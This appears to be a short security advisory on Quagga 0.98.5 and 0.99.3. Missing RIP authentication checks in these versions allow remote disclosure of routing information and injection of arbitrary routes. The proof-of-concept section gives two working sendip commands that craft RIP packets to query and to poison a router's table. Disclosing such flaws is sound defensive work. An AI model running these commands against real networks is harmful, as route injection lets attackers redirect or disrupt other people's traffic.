Discussion

Quagga Information Disclosure and Route Injection Vulnerabilities

Quagga is susceptible to remote information-disclosure and route-injection vulnerabilities. The application fails to properly ensure that required authentication and protocol configuration options are enforced.

These issues allow remote attackers to gain access to potentially sensitive network-routing configuration information and to inject arbitrary routes into the RIP routing table. This may aid malicious users in further attacks against targeted networks.

Quagga versions 0.98.5 and 0.99.3 are vulnerable to these issues; other versions may also be affected.

Exploit / POC

Quagga Information Disclosure and Route Injection Vulnerabilities

Attackers can use existing network utilities to exploit these issues. The following commands are sufficient to demonstrate these vulnerabilities.

To exploit the information-disclosure issue:

sendip -p ipv4 -is 192.168.66.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 1 -re 0:0:0:0:0:16 192.168.66.111


To exploit the route-injection issue:

sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 2 -re 2:0:192.168.36.0:255.255.255.0:0.0.0.0:1 192.168.69.100
